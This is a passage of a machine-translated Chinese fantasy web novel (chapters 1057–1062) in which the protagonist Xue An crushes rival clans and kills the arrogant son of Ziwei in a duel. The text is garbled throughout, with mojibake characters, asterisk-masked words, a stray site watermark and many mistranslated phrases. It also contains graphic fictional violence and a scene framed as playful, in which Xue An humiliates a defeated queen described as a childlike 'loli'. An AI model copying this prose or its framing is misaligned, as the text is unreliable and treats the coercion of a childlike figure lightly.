    Some timid people are too scared to stand up.


    Kang Huazang was the first to wake up, and then said angrily: "Go together and kill him!"


    The people in the Tianfu Pavilion heard the words and moved their hands together.


    I saw the light of the runes flickering, and runes rose from the top of these people''s heads, and they became a piece, turned into a huge rune seal, and crashed down towards Xue An.


    This talisman is so powerful that the entire city lord''s mansion is shaking.


    This is the power of Rune Combat Even if the true fairy is strong, when facing this attack, you have to avoid the edge.


    But when the talisman seal had fallen on top of Xue An''s head, Xue An suddenly stretched out his hand, grabbed the talisman seal, and shook it suddenly.


    Click.


    The talisman seal was directly crushed into pieces.


    ��!


    The people of ���� Tianfu Pavilion spit out blood and looked at Xue An with horror.


    "Impossible! This talisman..."


    Xue An clapped his hands and said lightly, "Is that the trick? If not, it''s me!"


    After that, Xue An pointed out of thin air, and a rune pattern took shape in an instant, and then appeared directly on the heads of the people in Tianfu Pavilion.


    Kang Huazang was shocked and shouted, "Run!"

 Chapter 1057： Emperor Star Destroyer Pen

    Unfortunately, everything is too late.


    This rune appeared ten thousand rays of light on everyone''s heads, and then fell down with the momentum of Mount Tai.


    Under the mighty power, these people in Tianfu Pavilion let out a desperate cry.


    Someone raised his hand unwillingly, trying to block this rune pattern.


    But under this blow, all struggles and resistance are as futile as a man''s arm.


    After a burst of numbing fractures and screams, in the audience, the people in Tianfu Pavilion who were still aggressive just now have all been photographed into mud.


    The whole audience was silent.


    Everyone was shocked by this shocking blow.


    The people from the Zhuo family and the Jin family that had besieged Xue An with a violent imposing manner, looked at them in awe.


    Xue An said lightly: "The Zhuo family belongs to you, and the Jin family belongs to me! Understand?"


    Zhuo Yangyang was taken aback, and then nodded firmly, "Understood!"


    Xue An laughed, "Very well, then I will... let''s start!"


    After that, Xue An took a step towards Jin Xiong.


    "Don''t... don''t come here, stop him, stop him!" Jin Xiong was already shocked by Xue An''s blow, and shouted in horror.


    The masters of the Jin family who followed rushed forward, all using their strongest killer moves, intending to stop Xue An''s footsteps.


    A ray of divine light exploded beside Xue An, like fireworks blooming.


    But no matter whether it is the magic rune sword light or the fist and foot spirit, it can''t slow Xue An''s speed even the slightest.


    Xue An slowly walked through these bizarre rays of light, his clothes wafting, he was not exposed to the slightest smoke, just like an immortal.


    Such a spectacle shocked many people.


    Jin Xiong even saw his scalp numb, sweating all over, and subconsciously stepped back.


    Although Jin Shuman was also shaken by it, he recovered sober in an instant, and then gave a cold drink.


    "No wonder it''s so arrogant, it turned out to be really capable! But you still have to die!"


    While speaking, Jin Shuman raised his hand and threw a talisman seal.


    This talisman seal suddenly increased in midair, and countless dense and complicated runes began to flicker on it.


    At the same time, the sky full of stars projected the next rays of starlight into this talisman seal.


    you can see the stars flow around, and the symbols of the seal will change.


    In an instant, this talisman seal turned into a huge vermilion pen.


    As soon as this pen appeared, even the cursed queen who had been watching coldly couldn''t help but exclaimed.


    "Emperor Star Destroying Magic Pen!"


    Jin Shuman''s face was full of arrogance, "The surname Xue, you can die under the magic rune personally given to me by the son of God, you are quite proud!"


    Xue An didn''t hear it, but stared at the vermilion giant pen in the void, and then laughed.


    "It''s really interesting! Didn''t you even listen to what I said?" Xue An muttered softly, although he was laughing, his eyes were full of murderous intent.


    Jin Shuman did not hear what Xue An was talking about, but to her, it was not important at all.


    Because in her opinion, no one will be the opponent of this blow.


    So she sneered, "Do you know regret now? It''s too late!"


    After that, Jin Shuman suddenly raised her hand, the giant pen flew into her hand, and then she stood in the air.


    "A stroke of a hook, heaven and earth will never be!"


    Speaking, Jin Shuman pointed out.


    Boom!


    I saw a wave of surging power of laws appearing on the tip of this vermilion giant pen, directly smashing the space in front of me.


    Then a vanity Xu An image appeared in this broken void.


    "This...this is a rule projection!" Someone murmured in shock.


    No matter where you are, as long as you appear in it, you will form a projection in the rules of heaven.


    This is the law of nature and cannot be disobeyed.


    And if this projection is destroyed, then this person will be exterminated by heaven and earth, and even crushed ruthlessly by heaven and earth.


    But there are very few weapons or laws that can interfere with the laws of heaven, and they are all in the hands of the real big figures in the gods.


    This Jin Shuman is just a waitress, but he can use these magic runes, which shows that the **** child behind her is absolutely extraordinary.


    Everyone looked at Jin Shuman standing in the sky with horror and fear.


    Feeling all this, Jin Shuman''s face showed a touch of fanaticism.


    What she enjoys most is this feeling of controlling life and death and being above others.


    So she was shaking all over with excitement, and then grinned and said, "Go to hell!"


    As he said, this Emperor Star Destroying Magic Pen directly hit the eyebrows of Xue Anxu.


    Under this Mie Shen''s pen, as long as the virtual image is erased, Xue An will undoubtedly die.


    But when the pride on Jin Shuman''s face hadn''t fully bloomed.


    The emperor star extinguishing magic pen that was originally shining in brilliance suddenly became stagnant.


    Jin Shuman was slightly startled, what''s the matter? Why doesn''t the pen move?


    Under the suspicion in his heart, Jin Shuman couldn''t help stepping forward.


    at this time.


    I saw Xue Anxu standing in the air slowly opening his eyes.


    ''S cold eyes made the whole world quiet.


    Then this Emperor Star Destruction Magic Pen let out a mournful cry, and fine cracks appeared on the tip of the pen.


    Jin Shuman was shocked, "No!"


    But everything is too late.


    After hearing a crisp sound, this Emperor Star Destruction Magic Pen burst into pieces, turned into a sky full of stars, and dissipated invisible.


    The audience lost their voices.


    People who originally thought Xue An would definitely die couldn''t help but look at it after hearing the noise.


    Even the cursed queen who has been unhappy finally couldn''t sit still at this moment, suddenly stood up and looked at Xue An with horrified eyes.


    Because she knows the power of the Emperor Star Destroying Magic Pen, even if she is herself, she must obediently admit defeat when facing this blow.


    Because that is not a targeted cultivation base, but a directly used law of heaven.


    However, this Xue An didn''t even move, so he directly smashed the Emperor Star Destroying Pen.


    There is only one possibility.


    That is, Xue An��s power of laws is much greater than that of this Emperor Star Destroying Magic Pen. Only in this way can it be directly shaken into powder under the confrontation.


    The secret techniques of the exercises that may condense the laws are extremely rare in this **** realm, and are generally in the hands of the big figures in the high-level heavens, and even the top gods.


    How could he have?


    For a time, the cursed empress had a lot of thoughts in her heart, and she was a little dazed.


    The boss with Jin Shuman''s mouth opened, there were chucking noises in his throat, as if he couldn''t believe everything in front of him.


    At this time, Xue An smiled slightly, "It''s an interesting trick, but it''s just interesting!"


    "You...who are you?" Jin Shuman finally regained consciousness, and then shouted in disbelief.


    Xue An faintly smiled, "Me? Didn''t I tell you? My name is Xue An!"


    Then Xue An sighed, "It seems there is nothing fun, then I will send you on the road first!".


    Speaking, Xue An took a slow step.


    At this step, a huge shock in the void, the Jin family members who had just ambushed him were squeezed by an invisible giant hand.

 Chapter 1058： Son of God comes

    That''s right.


    is squeezed literally.


    No matter what the strong, his body burst and died in an instant.


    The blood was winding and flowing, and Xue An stood on it, like an independent god.


    Xue An said indifferently: "One more step, you are all dead, is there anything else you want to say before you die?"


    Following the son of God all the year round, Jin Shuman thought that he had been promoted to a god, and would never be like a mortal again.


    But today, when faced with Xue Anzhi, who was led by countless powerhouses, she finally felt a deep fear.


    This fear is so turbulent and strong, it even makes her teeth rattle.


    As for Jin Xiong, he was too scared to speak at this moment.


    Xue An smiled slightly, "Very well, it seems that you have nothing to say, then...bye!"


    After that, Xue An would take another step.


    But just then.


    I saw the starry sky outside the window suddenly dimmed.


    But the star located in the north suddenly bursts brightly, the starlight is like a pillar, directly in the banquet hall.


    "It''s Lord God Son! Lord God Son has come!" Jin Shuman was taken aback, and immediately shouted in ecstasy.


    Everyone was shocked by Jin Shuman''s shout.


    Is that mysterious big man finally present?


    At the same time, Jin Shuman shouted at Xue An with a spiteful look: "The surname is Xue, aren''t you crazy? Now that the son of God is born, I see how you can come back!"


    Speaking, Jin Shuman laughed, the laughter was full of pride and madness.


    The expression on Xue An''s face was still indifferent, but there was a hint of playfulness in his eyes, and then stood there and watched quietly.


    in the solemn gaze of everyone.


    The light flowed and condensed like a jade star, forming an amber-like crystal.


    And in the crystal, a figure is gradually emerging.


    As this figure gradually became clear, a heart-pounding aura began to slowly emerge.


    Soon, the outline of a man appeared in the crystal.


    This man has a majestic face, like an emperor. Although his eyes are closed, the strong pressure still changes everyone''s color.


    Jin Shuman is like seeing the owner''s puppy, kneeling down in front of the crystal respectfully, preparing to welcome the arrival of the son of God.


    at last.


    I saw the giant star of Zhengbei projecting another awe-inspiring star power, which directly penetrated the man''s eyebrows, turning into a mark of profound and noble.


    After a breath, the starlight crystal shattered.


    Then the closed man slowly opened his eyes.


    As soon as he opened his eyes, there seemed to be a gust of wind blowing in the banquet hall, and a strong momentum swept through everything.


    The starry sky outside the window dimmed instantly, as if the stars were afraid to flash anymore.


    In the eyes of the man, countless mysterious symbols flashed through, making people afraid to look directly.


    Such a powerful scene makes everyone feel palpitated.


    And Jin Shuman''s excited voice was trembling slightly, "Welcome to Lord God Son!"


    The cursed queen also stood up, bowed and saluted, "I have seen the son of God!"


    The **** child stood quietly, and after a while, he said in a playful tone: "Curse the queen, you haven''t seen it for so many years, your body is getting better and better!"


    The cursed queen lowered her head deeply, "The son of God is joking!"


    "Hehe, it''s not easy for you to stay in such a desolate place and abandoned place for so long! Tsk tsk, it''s a pity that you are a divine body! If it weren''t for this temporal divine pattern, I wouldn''t Come here, let me relieve you of loneliness while the **** pattern hasn��t appeared in the world. What do you think?"


    said, the son of God laughed unscrupulously.


    Cursed the queen bowed her head and said nothing.


    Seeing this was also silent.


    You must know that in the past, the cursed queen was the supreme being in charge of the entire cursed city. Even if it is as strong as the Tianfu Pavilion, you must maintain sufficient respect for her.


    Don''t talk about verbal teasing, even if the attitude is slightly disrespectful, you will be severely punished.


    But when faced with the molesting of this descent son, the always proud and cursed queen could only silently respond.


    Combined with the vision of the son of God coming into the world, it proves the unfathomable background of this person.


    At this moment.


    Jin Shuman knelt and climbed a few steps, came to the front of the son of God, bowed his head and kissed the upper of the son of God respectfully, and then trembled: "My Lord God!"


    The **** child looked down at Jin Shuman, then raised his eyebrows slightly, "My dear maid, what''s the matter?"


    Jin Shuman was trembling with excitement, "My Lord God, I came to this cursed city to explore the way first according to your instructions, but something happened!"


    "Oh? Accident, what accident?"


    "Someone not only slaughtered most of my Jin family, but also shattered the Emperor Star Destroying Pen you gave me!"


    As soon as the voice fell, the **** child kicked it out.


    Jin Shuman didn''t even dare to move, half of his body was shattered by this kick.


    Then the godson said coldly: "Trash!"


    "Jin Shuman, you have to be clear, I have a waitress like you, if it weren''t for the good work in your bed, I wouldn''t bother to care about you! But you dare to ruin everything I gave, what a damn! "


    "Yes! Lord God, calm down!" Jin Shuman endured the severe pain, repeatedly knocking his head to apologize.


    "Hmph!" The **** child snorted coldly, and then proudly said: "Let''s talk, UU reading who dares to shatter all the things I gave?"


    Jin Shuman heard that, despite the pain, there was still ecstasy in his eyes, and then raised his head and pointed at Xue An in the distance.


    "My son, this is the person!"


    Since the son of God came into the world, he has spoken to the Queen of Curse. As for the others in the banquet hall, he didn''t even bother to look at it.


    Because in his eyes, apart from cursing the empress who is barely able to see, other people are not even ants.


    It wasn''t until Jin Shuman pointed out that this arrogant **** son sneered and raised his head, "I want to see who actually dares to..."


    The following words stopped abruptly.


    The godson stared at Xue An, who was standing with his hands in the distance, with shock in his eyes.


    Jin Shuman didn''t notice anything unusual at all, and still said with a bitter expression on his face.


    "My Lord God, this guy is so rampant that he doesn''t even look at you, you..."


    The voice did not fall.


    I saw Xue An sighed lightly, and then faintly said: "God Ziwei, long time no see!"


    That''s right.


    came here, it was the son of crape myrtle that Xue An had seen in the Secret Realm of Qi Luck.


    I saw this ziwei **** child tremble all over, and then looked at Xue An in disbelief, "You...you...".


    Xue An smiled slightly, but the smile was full of chills, "In fact, it shouldn''t be said that I haven''t seen you for a long time, because if it''s normal, I should never see you again!"


    "After all... as your father promised, you should be dead now, right?"

 Chapter 1059： If you want to go, save your life first!

    The expression on Ziwei''s face changed, but in the end, he lowered his head and said in a low voice.


    "It turned out to be Master Xue, the son of Ziwei has seen Master Xue!"


    The audience was silent.


    Especially Jin Shuman, who had been hoping that the Ziwei Ziwei could destroy Xue An directly, was even more daunting.


    Master Xue....


    His Royal Highness the Son of God actually wanted to respect this man as an adult.


    What is his origin?


    Jin Shuman was full of surprise.


    And it''s not just her, the cursing queen, Jin Xiong, Zhuo family, and even Zhuo Yangyang, all looked at Xue An with a wrong face.


    Under everyone''s gaze, Xue An didn''t have the slightest expression on his face, but quietly looked at the Ziwei **** child.


    This kind of speechless deterrence made the face of the son of Ziwei pale slightly.


    Finally, he took a half step back and said respectfully: "Master Xue, I really don''t know that you are here. If I knew it, I would definitely not come over to **** the **** pattern! But now I know it''s not too late, so I will quit now. , Then immediately return to the star realm, what do you think?"


    This statement made Jin Shuman and the others even more shocked.


    But Xue An still did not speak, not only did not speak, but even watched quietly with his arms folded.


    Ziwei Shenzi only felt an unknown fire in his heart.


    I wonder how noble his identity is. No matter where he goes, he is admired by thousands of people.


    The only time he suffered a loss was when he was taught a lesson by Xue An in the Secret Realm of Qi Luck.


    Even if it weren''t for his father to arrive in time, Xue An would use esoteric techniques to destroy his body.


    Later, at the begging of his father, Xue An did not continue to do it, but he told his father, Ziwei Xingjun, that he would kill the son after he returned.


    Having said that, but after returning to the star realm, Star Lord Ziwei certainly did not start, but strictly ordered his son not to go out of the **** realm.


    At that time, the son of Ziwei was very unwilling, but when he saw that his father was very serious, he didn''t dare to disobey.


    But he still couldn''t help asking his father who this Xue An was, and why he was so afraid of his father, the noble star.


    At that time, the Ziwei star was silent for a long time, but in the end he just sighed, but did not speak.


    This ziwei **** child also didn''t think about it.


    After such a long time, he has enjoyed playing in the God Realm, thinking that this incident is over.


    I didn''t expect to meet Xue An again in this barren land today.


    This is also the reason why he has just been so soft.


    Despite the irritation in his heart, the son of Ziwei still suppressed his anger, and then whispered: "My lord, if there is nothing wrong, I will leave first!"


    said, he was about to turn around and leave.


    But at this moment, Xue An suddenly said: "Hold on!"


    Ziwei Shenzi stiffened, stopped, then smiled forcefully: "My lord!"


    Xue An said lightly: "Just left?"


    "Huh? What else does the lord have to order?" But he didn''t expect that Xue An''s next sentence made him completely stunned.


    "You can go! Leave your life first!"


    Boom!


    The audience was in an uproar.


    Everyone did not expect Xue An to dare to be so reluctant at this time.


    Especially the son of Ziwei, he felt that he had put his posture low enough, but he did not expect that Xue An would not buy it at all. He couldn''t help but become angry and his tone became cold.


    "Master Xue, you have to be forgiving and forgiving. I advise it to be enough!"


    Xue An smiled swiftly, "Sufficient? At that time, in the Secret Realm of Qi Luck, I said that if you let you die, then you have to die! Now that you have lived so long, I haven''t settled this account yet! You still want I am enough?"


    This sentence is like a fuse, directly igniting the anger that has been suppressed in the heart of the son of Ziwei.


    "The surname Xue, don''t think I am really afraid of you! If it weren''t for the Father God strictly forbidden me to leave the realm of the gods, I would have gone out and wiped you out a long time ago. Would you still be allowed to be rampant here?" Screamed.


    Xue An said lightly: "Oh? Really?"


    "Of course!" The son of Ziwei said proudly.


    "Xue An, I know that you have a good skill and amazing talent! But in the Secret Realm of Qi Luck, you were nothing more than a golden fairy! At that time, I was only a clone, so I was suppressed by you everywhere!"


    "But now this is the realm of the gods, it''s my home ground! Now I am coming from the main body, and what about you? With such a little time, what kind of cultivation can you be, at most it is a half-step true immortal! Do you want to fight with me too?"


    Xue An nodded, "It sounds really reasonable!"


    "Huh! I gave you face before because of Father God''s orders, but don''t think I''m afraid of you! This truth, I think you should not understand this!" The Ziwei God Son said arrogantly, even in his eyes There was a flash of excitement.


    Father God, this is not my intention to go outside to seek revenge! But this Xue An came here by himself!


    And I gave him a lot of face when I first started, but he didn''t give up. It would not be considered that I disobeyed your order if I did it again!


    This feeling of revenge will make this Ziwei **** child full of pride.


    Xue An smiled, "How did your Father God tell you?"


    "He strictly ordered me not to leave the realm of God! Isn''t this preventing me from taking revenge?"


    "Then he never told you, who am I?"


    The son of Ziwei was taken aback, "It''s not!"


    Then he sneered again, "What if you don''t? Xue An, you may be great, but you are too arrogant!"


    Xue An shook his head, "You are wrong, yelling without strength is arrogant, and I am now judging your life and death!"


    "So, if you decide on your own right now, I can leave a trace of your soul at my discretion, otherwise... I will destroy your soul and never reincarnate!"


    The whole audience was silent.


    Everyone was stunned by Xue An''s words.


    Then there was an uproar like a stormy sea.


    Many people shook their heads secretly, thinking that Xue An��s words were so crazy And for something that could have been resolved peacefully, Xue An had to do it.


    This is simply looking for trouble on purpose!


    But the Zhuo family and Jin family all looked happy.


    Especially Jin Shuman, the joy in his eyes almost overflowed.


    As a waitress who has served the son of Ziwei for many years, she knows the temperament of the son of Ziwei better than anyone.


    Knowing that under Xue An''s words, this Ziwei **** child will never give up.


    As expected.


    I saw this ziwei **** son furiously, "Xue An, this is your own death, and you can''t blame anyone else! Star sea cage!"


    With an order from the son of Ziwei, I saw that the roof of the banquet hall disappeared in an instant.


    Then the sky full of stars cast starlights, which completely enveloped Xue An and turned it into a cage composed of stars.

 Chapter 1060： Killing God 6 reappears in the world

    The Ziwei **** child Jiejie laughed strangely: "Xue An, slowly enjoy the meal I prepared for you. The Starlight Enchantment is known as the number one sealing technique in the God Realm, and this Star Sea Cage was created by my father. Even Ronaldo can be trapped!"


    "And in this star sea cage, all your cultivation and blood will slowly dissipate and transfer to my body! I will slowly appreciate how you are gradually dying in despair, hahahaha..."


    The son of Ziwei smiled triumphantly.


    But at this moment, a calm voice came from the cage, "Oh? Really? But how do I feel that your cage... is not that great!"


    said, a pair of slender palms protruded directly, and then pulled to the sides.


    This so-called indestructible star sea cage was then torn in half.


    The Ziwei God Child was stupid, "This..."


    Xue An stood in front of the scattered sky full of stars, and said with excitement, "Is there anything fresher?"


    "You...!" The son of Ziwei looked cold, "You really are better than I thought! But do you really think this is over? I..."


    The voice did not fall.


    Xue An, who was originally standing in the distance, flashed his figure, and his whole body appeared in front of the son of Ziwei, and then he grabbed his hair and pressed his head against the ground with a violent punch.


    bang bang bang.


    After more than a dozen loud noises, the banquet hall was tempered with a secret method, and a big hole appeared on the extremely hard ground.


    Then Xue An released his hand, and then looked at the smashed and stunned son of Ziwei, and said lightly: "There is so much nonsense! Is it because of not being angry enough? What do you think now? Is it enough? Not enough? Smash it a few times!"


    Everyone was stunned by this scene.


    The son of Ziwei was even more dazed, until after a while, he trembled all over, regained consciousness, and then let out a sky-shaking roar.


    "Xue An, I&*��#%!"


    Xue An nodded, "Yes, it seems that the anger value has exploded!"


    Next, the irrational and irrational child of Ziwei Ziwei completely ran away.


    "Ten Thousand Stars Life Killing Technique!"


    "Lone Star Desperate Finger!"


    "Starlight is sleepy!"


    ����


    All kinds of star-sea mystery techniques were displayed from the hands of the Ziwei **** child like no money, and they all hit Xue An.


    For a time, the air flow billowed, and it was powerful.


    The onlookers were all forced out of the distance, and then looked at them with horror.


    And this scene also shocked the entire cursed city.


    All the people with a little bit of cultivation ran outside, watching this scene stupidly.


    Meng Lei and others who had been waiting for Xue An on the street in front of the city lord��s mansion were all dumbfounded at this moment.


    Especially Meng Lei.


    He stared blankly at the powerful tricks that reflected the brilliance of the night sky, and he couldn''t help mentioning his throat.


    Because in the twinkling of stars, Xue An''s figure is like a flat boat in the sea, undulating with the wind and waves.


    Master Xue, don''t have anything to do with you! Meng Lei prayed silently in his heart.


    "It''s still not enough! Do you have this strength?" Xue An suddenly said.


    Boom!


    This sentence spread throughout most of the cursed city.


    shocked the jaws of all those who watched this scene.


    Because in the eyes of many people, Xue An is now clumsy on the left and right. Obviously, he has only the power to parry but no power to fight back. He even dared to ridicule.


    The eyes of this ziwei **** child were red, and he couldn''t wait to slap Xue An to pieces with a slap, so after hearing what Xue An said, he said grimly.


    "The surname is Xue, don''t you just dodge? Don''t dodge if you have the ability, and face me directly!"


    Xue An smiled slightly, "Okay!"


    The son of Ziwei was taken aback, and then showed ecstasy.


    He only wanted to make a few sarcasm, but he didn''t expect Xue An to actually agree.


    Therefore, he took a deep breath, looked up at the starry sky, and shouted in a deep voice: "God Ziwei, please use your strength!"


    Boom!


    Following his words, the sky full of stars suddenly dazzled like a diamond, and showed a series of awe-inspiring star power, gathering on the body of the son of Ziwei.


    The brilliance of the radiance shrouded, and the aura of the son of Ziwei began to soar.


    And above his head, a huge virtual image appeared.


    Then the Ziwei **** son grinned and said: "The surname is Xue, today I will let you see and see, my son of Xingjun is amazing!"


    After that, he agitated the stars all over his body, all gathered on his right hand, and then suddenly shook his palm and threw a punch.


    accompanied by his punch, there was a virtual image above his head.


    The two combined together, the huge force formed even cracked the space.


    This kind of majestic power has changed everyone''s color.


    Zhuo Yangyang, Meng Lei and others exclaimed.


    "Sir Xue!"


    And Zhuo''s family, Jin Shuman and others looked at each other, then laughed triumphantly.


    In their opinion, no one can withstand such a blow.


    Even a king-level powerhouse is impossible!


    Because the **** Ziwei Ziwei is using now, but it is the combined force of the stars of the sky!


    But in the face of such a powerful punch, Xue An''s mouth showed a faint smile.


    "This punch is just a bit like! But that''s it!"


    After that, Xue An made a fist and blasted out, facing the fist of the son of Ziwei.


    Compared with the imposing punch of the son of Ziwei, Xue An''s punch seemed unremarkable, and there was not even the slightest wave.


    Many people couldn''t help showing disappointment when they saw this.


    The cursed queen who has been on the sidelines suddenly turned pale, and her whole body shuddered.


    "This...this punch..."


    at the same time.


    The two punches finally collided.


    There was no loud noise, and even at this moment, the whole world was quiet.


    But just a moment later, a faint cracking sound came from where the two fists hit.


    Then I saw that the space began to twist and shatter like thin paper.


    Then, there was a loud noise that almost shattered the entire cursed city.


    All the people who were close to him were in pain, and some of the low-powered people even bleed from their ears, their faces were pale, and they were obviously seriously injured.


    at the same time.


    A huge shock wave burst out and swept across the sky in an instant.


    And flying out along with this shock wave is the **** child Ziwei who vomits blood.


    how is this possible!


    This is the first reaction of everyone who saw this scene.


    Especially Jin Shuman, almost stared out.


    But facts are not transferred by anyone''s will.


    After flying upside down ten miles away, the son of Ziwei finally reluctantly stood still.


    is just him at this moment, his appearance is simply terrible, his face is pale as paper, and his expression is extremely frustrated.


    "What boxing technique is this?" The son of Ziwei looked at Xue An, who was still indifferent in the distance, and roared in anger. .


    Xue An slowly retracted his fists and smiled slightly, "This fist, I usually call it move the world!"


    Killing God Six Types, Finally Reappeared!

 Chapter 1061： You wait for the order, Xinghai casts a sword

    "Move the world?" The son of Ziwei, whose expression changed, muttered to himself.


    Xue An nodded, and then said flatly, "It seems that you don''t have any new tricks! I''m tired of playing too, so... it''s over!"


    After that, Xue An suddenly raised his eyes and looked at the sky full of stars.


    "Is that the star power you lent him just now?" Xue An said coldly.


    I don��t know if it is an illusion or true. Many people feel that with Xue An��s questioning, the entire starry sky is shaken, and the stars dimmed.


    As if... I was afraid of something.


    The son of Ziwei was startled slightly, and trembled: "You...what are you going to do?"


    Xue An smiled slightly, "What are you doing? Of course... to send you on the road!"


    As he said, Xue An raised his head and looked towards the sky, and said coldly: "Now I give you a chance. If anyone doesn''t follow it... it will be destroyed!"


    The starry sky is silent, as if waiting for Xue An''s order!


    Xue An raised his hand, pointed to the sky, and said lightly: "You wait for the order, Xinghai...cast a sword!"


    Boom!


    Following Xue An''s order.


    I saw the starry sky shaking.


    The sky full of stars is like a courtier who received the emperor''s order, and the stars began to surge wildly.


    In a moment, the sky full of stars gathered in Xue An''s hand, and then began to condense and change crazily.


    In an instant, a huge sword that could stand up to the sky suddenly appeared in Xue An''s hands.


    The stars are lingering on this giant sword, the sword aura is like silk!


    The mighty power makes the whole world tremble.


    Everyone looks silly.


    "This... this kind of swordsmanship is simply unheard of!" The cultivator of swordsmanship in the field exclaimed in horror.


    At the same time, Xue An smiled at the same dumbfounded son of Ziwei, "Now, I will send you on the road!"


    "No!" Ziwei **** son screamed wildly.


    He finally felt a deep fear,


    Because he can feel the violent sword intent contained in this long sword.


    That is a kind of power that destroys everything and makes the gods bow their heads.


    He understood that under this sword, he would really die!


    But his shout just fell, and before he could say the next words, Xue An''s eyes were shining brightly, and he coldly shouted: "Slash!"


    Boom!


    With an order, this huge sword slashed down with the supreme power.


    The Ziwei **** child wanted to struggle to escape, but it was only then that he desperately realized that he had been firmly locked by the sword intent, and he couldn''t avoid it.


    He can only open his desperate eyes, watching the sword fall.


    This sword is almost at its peak.


    is almost a moment before Jianguang has reached the body.


    The son of Ziwei let out the last miserable cry: "Xue An, my father will not let you go!"


    Xue An said lightly: "Your father does not come to me, I will also go to him! At that time, I will complete your father and son reunion below!"


    "Do not!"


    Ziwei **** son roared in anger, but then, these voices stopped abruptly.


    Because his body, including Divine Soul, has been crushed by this sword.


    And the surplus of this sword, hit the sea!


    cut a gulf more than ten miles wide in the sea area that is full of thousands of miles.


    The sea water within the chasm was directly evaporated by the strong sword force, and even the sediment on the seabed appeared.


    The sea on both sides wanted to rush into the chasm and bridge the huge scar, but was blocked by a thin layer of sword light.


    So above the sea, a huge passage that was more than ten thousand miles long and ten miles wide appeared in front of everyone.


    Everyone was stunned by this peerless sword.


    Xue An stood in the air, his clothes wafting like a god.


    Then Xue An waved his hand casually, and the huge sword made of starlight shattered suddenly, reconstituted the starlight, and dissipated between heaven and earth.


    In the silence.


    Xue An lowered his head and looked down at everyone in the audience.


    As far as the eye can see, no one dares to look directly.


    Especially the Zhuo family and the Jin family, who have been fighting against Xue An, are even more pale with fright at this moment, almost collapsed.


    But Xue An ignored these people, his eyes swept across the cursed queen, and then smiled slightly.


    "Now I say that I am justified, but do I have this strength?"


    The cursed queen was shocked all over her body, finally awake from the shock, and then bowed her head respectfully.


    "The grown-ups forgive the sins, but the little girls don''t know the adult''s power, and she speaks insultingly, so please punish them!"


    Even when facing the son of Ziwei before, Cursing the Queen had never been so humble.


    But at this moment, no one thinks this is too much.


    Because in this God Realm, always respect the strong.


    Xue An��s strength has been witnessed by everyone, so it is not surprising that the Queen of Cursing has such an attitude.


    Xue An also understands this. He doesn''t want to treat the cursed queen just because of a word, but at this moment he still can''t help but play.


    "Oh? Punishment? How to punish?"


    cursed the empress''s body trembling slightly, "Let... let the adults send you off!"


    These words, spoken from the mouth of a queen who is in charge of Wanli Tianyu, can make a man''s satisfaction bursting!


    Xue An smiled, and then said in a playful tone: "Look up and look at me!"


    The cursed queen slowly raised her head.


    "Disperse the magic to cover the face!" Xue An said lightly.


    A sense of humiliation flashed in the heart of the cursing empress, but she didn''t dare to defy Xue An''s order, so she had to dissipate the mist covering her face.


    The below is a beautiful and refined face, but with a somewhat childish face.


    At first glance, it looks like a baby-faced loli.


    Xue An was stunned, and then touched his nose a little embarrassingly, "Ahem, it turned out to be a minor loli, no wonder she kept covering her face with mist!"


    Imagine a teenage girl sitting on the throne, in charge of a heaven.


    I can''t watch that picture!


    Following Xue An��s words, tears slowly filled the big eyes of the cursed queen, and then she closed her eyes as if she accepted her fate.


    She is very aware of the laws in the God Realm, the strong can decide everything, the weak have no dignity at all.


    Especially, he even ran into Xue An before, so he should do what he does to him.


    She just thought sadly, did everything end up like this?


    But at this moment, Xue An suddenly waved his hand, and a rule blocked her face.


    The cursed queen slowly opened her eyes, looking at Xue An in a daze.


    Xue An chuckled, "I wanted to teach you a lesson, but seeing you look so cute, let''s forget it!"


    cute.......


    The adjective ���� made the cursed queen dumbfounded, but there was a warm current in her heart for no reason.


    Because she knew that this was Xue An letting him go.


    Thinking of this, she couldn''t help but bow her head respectfully, "Thank you...sir!".


    Xue An was noncommittal, then turned his head to look at Jin Shuman who had fallen into a petrified state.


    "Now, it''s time to calculate your account!"

 Chapter 1062： Account, 1 transaction is required!

    Jin Shuman was shocked, and finally awoke from the shock, and then screamed like a ghost.


    "What have you done to God Son?"


    Xue An said in a playful tone: "Sir Son of God? No, there will be no Lord Son of God in the future, because I have sent him where he should have been long ago!"


    Jin Shuman began to tremble uncontrollably.


    The impact of all this on her is simply too great.


    You need to know how much effort Jin Shuman took in order to be able to cling to the son of Ziwei.


    But the hard work paid off, she finally became the most favored waitress under the seat of the son of Ziwei.


    Jin Shuman was overjoyed, thinking that his future was bright.


    Because that is the only son of Star Lord Ziwei, it is also a big figure who will be in charge of Emperor Ziwei and rule the star realm.


    This is regarded as the number one existence in the entire God Realm.


    Therefore, Jin Shuman relied on the power of the son of Ziwei, arrogant and domineering.


    But now, all the glory is shattered ruthlessly by Xue An like an illusion.


    The son of Ziwei died, and he died in front of Jin Shuman.


    Jin Shuman''s heart was filled with fear and despair.


    But at this moment, Jin Xiong, who was standing aside pale, suddenly took a few steps forward, thumped and knelt on the ground.


    "My lord is forgiving! Your lord is forgiving! This incident was caused by my daughter and has nothing to do with me! Please spare my life!"


    Jinxiong cried bitterly.


    Jin Shuman was struck by lightning, staring at his father blankly.


    "Father...Father!"


    Jin Xiong seemed to be bitten by a poisonous snake, and shouted angrily: "Don''t call my father, I don''t have a daughter like you! To collude with the foreign gods to deal with Master Xue, you are really not sorry!"


    Jin Shuman''s heart slowly sank to the bottom.


    Once upon a time, my father was not like this.


    Especially when he became the waitress of the son of Ziwei, Jin Xiong was even a little flattering to himself.


    I never expected that at this time, his father would turn back the water in the first place in order to survive!


    Looking at the disgust and fear on Jin Xiong''s face, Jin Shuman suddenly felt that all this was too ironic.


    Sarcastically, she couldn''t help laughing nervously.


    The laughter is small at first, but the more you laugh, the louder it gets.


    In the end, he even laughed wildly.


    The laughter made Jin Xiong''s face pale, and a look of horror appeared in his eyes. Then he suddenly jumped up from the ground and rushed to Jin Shuman, raising his hand with a loud slap in the face.


    "Bitch, what are you laughing at? Shut me up!"


    Jin Shuman did not dodge, but suffered the slap for life.


    Her face began to swell like breath, but Jin Shuman''s eyes flashed with despair and madness that would destroy everything, staring coldly at Jin Xiong.


    Jin Xiong wanted to continue to do it, but when he faced his daughter''s eyes like this, he couldn''t help feeling a little chilly and froze in place.


    at the same time.


    Jin Shuman raised his head and looked at Xue An who had been standing in the air.


    "My Lord God is dead, I surrender! If you want to kill, you have to know and listen, but there is a premise!"


    Jin Shuman raised his hand to point to his father, and said with a hateful expression: "Before I die, I have to watch this man die!"


    Jin Xiong was shocked, "You **** dare to hurt me?"


